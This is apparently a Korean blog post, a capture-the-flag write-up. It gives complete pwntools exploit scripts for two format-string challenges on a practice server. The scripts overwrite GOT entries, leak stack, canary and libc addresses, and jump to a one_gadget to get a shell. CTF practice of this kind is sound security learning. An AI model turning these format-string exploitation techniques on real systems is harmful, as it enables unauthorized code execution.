티스토리 뷰
1일 1pwn으로다가 fsb
연습할려고 오늘은 핵씨탭 잡았다.
basic_fsb
빼고 두번째로 해보는 fsb
공격이였다..
어려웠는데 재밌었다
You_are_silver
binary summary
2byte bof
fsb
from pwn import *
p = remote("ctf.j0n9hyun.xyz", 3022)
#p = process("./you_are_silver")
e = ELF("./you_are_silver")
l = e.libc
flag = 0x4006d7 # 4196055
log.info(hex(e.got['printf']))
pay = "%4196055c" + "%8$lln" + "A" + p64(e.got['printf'])
pay = pay.ljust(0x2d, 'Z')
pause()
p.sendline(pay)
p.interactive()
babyfsb
binary summary
using
__stack_chk_fail
=> main loopstack, canary, ret addr, libc leak
from pwn import *
#context.log_level = 'debug'
p = remote("ctf.j0n9hyun.xyz", 3032)
#p = process("./babyfsb")
e = ELF("./babyfsb")
#l = e.libc
l = ELF("./libc.so.6")
target_got = e.got['__stack_chk_fail']
log.info(hex(target_got))
pay = '%1702c' + '%8$hn' + 'aaaaa' + p64(target_got)
pay = pay.ljust(0x40, 'a')
p.recv()
p.send(pay)
pay = "%$14p"
pay = pay.ljust(0x40, 'a')
p.recv()
p.send(pay)
stack = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00')) - 168
log.info('[+] stack : ' + hex(stack))
ret = stack + 176
log.info('[+] ret : ' + hex(ret))
pay = "%4352c" + "%8$hn" + "AAAAA" + p64(stack)
p.recv()
p.send(pay)
canary = stack - 80
pay = "%4352c" + "%8$hn" + "%19$p" + p64(canary)
p.recv()
p.send(pay)
canary = canary - 80
pay = "%4352c" + "%8$hn" + "%19$p" + p64(canary)
p.recv()
p.send(pay)
#p.recvuntil('\x7f')
p.recvuntil('0x')
libc = int(p.recv(12), 16) - l.sym['_IO_2_1_stdout_']
log.info('[+] LIBC : ' + hex(libc))
ori = libc + l.sym['__libc_start_main']+240
log.info('[+] lsm+240 : ' + hex(ori))
one = libc + 0x45216
log.info('[+] one_gadget : ' + hex(one))
two = one & 0xff
one = one & 0xffff00
one = one >> 8
log.info('[+] one_gadget : ' + hex(one) + ' and ' + hex(two))
pay = "%" + str(two) + "c" + "%9$hhn"
pay += "%" + str(one-two) + "c" + "%10$hn"
pay = pay.ljust(24, 'a')
pay += p64(ret)
pay += p64(ret+1)
pause()
p.send(pay)
p.interactive()
이건 다른 라업들 보니까 ppppr
로 ret
맞춰서 익스했던데.....
나는 fsb
가지고만 puts
가 스택 사용하고 남긴 stdout
으로 풀었다...
덕분에 고생 오지게 했다.
익스도 생각없이 흐름대로 짜서 똑같은짓 하고하고하고...
다시풀어봐야겠다.
아무튼 fsb
댓글